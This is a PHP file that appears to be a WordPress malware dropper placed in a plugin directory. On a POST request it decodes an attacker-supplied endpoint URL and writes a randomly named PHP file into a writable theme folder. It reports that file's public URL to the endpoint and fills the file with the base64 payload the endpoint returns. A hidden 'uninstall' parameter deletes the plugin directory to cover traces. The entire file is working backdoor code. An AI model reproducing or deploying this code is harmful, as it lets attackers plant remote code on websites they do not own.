<?php

function rrmdir(string $dir): bool
{
    if (!is_dir($dir)) {
        return false;
    }
    $prevCwd = getcwd();
    chdir($prevCwd);
    $it = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS),
        RecursiveIteratorIterator::CHILD_FIRST
    );
    foreach ($it as $fileInfo) {
        $path = $fileInfo->getRealPath();

        if ($fileInfo->isDir()) {
            rmdir($path);
        } else {
            @unlink($path);
        }
    }
    $result = rmdir($dir);
    chdir($prevCwd);
    return $result;
}


$plug_name = basename(__DIR__);
$unis = $_POST['uninstall'] ?? null;
if($unis != null){
    rrmdir(__DIR__);
	die('!wordpress!');
	exit;
}
///
$scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? 'https://' : 'http://';
//
$site   = $scheme . $_SERVER['HTTP_HOST']; 
$file_name = substr(md5(time().$_SERVER['HTTP_HOST']), 0, 8).rand(1, 99).'.php' ;

$rootDir = realpath($_SERVER['DOCUMENT_ROOT']).'/wp-content/themes';
if ($rootDir === false) {
    die('!pido!');
}

function getFileUrl(string $absolutePath, string $site): ?string
{
    $abs = str_replace('\\', '/', realpath($absolutePath));
    if ($abs === false) {               
        return null;
    }

    $docRoot = rtrim($_SERVER['DOCUMENT_ROOT'] ?? '', '/');

    if (stripos($abs, $docRoot) !== 0) {
        return null;                   
    }

    $relative = substr($abs, strlen($docRoot));
    $relative = '/' . ltrim($relative, '/'); 

    $site = rtrim($site, '/');
    return $site . $relative;
}

//
function getDirectoriesRecursive(string $basePath): array
{
    $dirs = [];
    $rootDepth = substr_count($basePath, DIRECTORY_SEPARATOR);
    $iterator = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator(
            $basePath,
            FilesystemIterator::SKIP_DOTS
        ),
        RecursiveIteratorIterator::SELF_FIRST
    );

    foreach ($iterator as $item) {
        if ($item->isDir()) {
            $path = $item->getRealPath();
            $depthRel = substr_count($path, DIRECTORY_SEPARATOR) - $rootDepth;
            $accessible = is_readable($path);
            $dirs[] = [
                'path'       => $path,
                'depth'      => $depthRel,
                'accessible' => $accessible,
            ];
        }
    }
    usort($dirs, fn($a, $b) => $b['depth'] <=> $a['depth']);
    return $dirs;
}

//
function apiret($furl){
    $data = '';
    $wordpresrr = $_POST['wordpress_ijsd98u32'] ?? null; if($wordpresrr === null){ exit; }
    $wordpresrr = base64_decode($wordpresrr);
    $apurl = trim($wordpresrr);
    $apiEndpoint = $apurl; 

    $ch = curl_init($apiEndpoint);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded',]);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['url' => $furl]));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);   
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);          

    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);

    if ($response === false) {
        echo ' cURL error: ' . curl_error($ch) . "\n";
        die('!pido!');
    }

    if ($httpCode === 200) {
        $data = json_decode($response, true);
        if (json_last_error() !== JSON_ERROR_NONE) {
            die('!pido!');
        }
    }
    curl_close($ch);

    return $data;
}

//
$directories = getDirectoriesRecursive($rootDir);


foreach ($directories as $key => $value) {
   
    $path = $value['path'];
    if (!is_dir($path)) {
        continue;
    }

    if (!is_writable($path)) {
        continue;
    }

    $file_path = $value['path'].'/'.$file_name;
    $handle = @fopen($file_path, 'w'); 
    if ($handle === false) {
        continue;
    }

    $url = getFileUrl($file_path, $site);

    //
    if ($url === null) {
        continue;
    }

    //
    $data = apiret($url);

    if($data == ''){
        die('!pido!');
    }

    $bytes = fwrite($handle, base64_decode($data['data'])); 
    if ($bytes === false) {
        die('!pido!');
    }
    fflush($handle);
    fclose($handle);

    die('!wordpress!');
}
die('!pido!');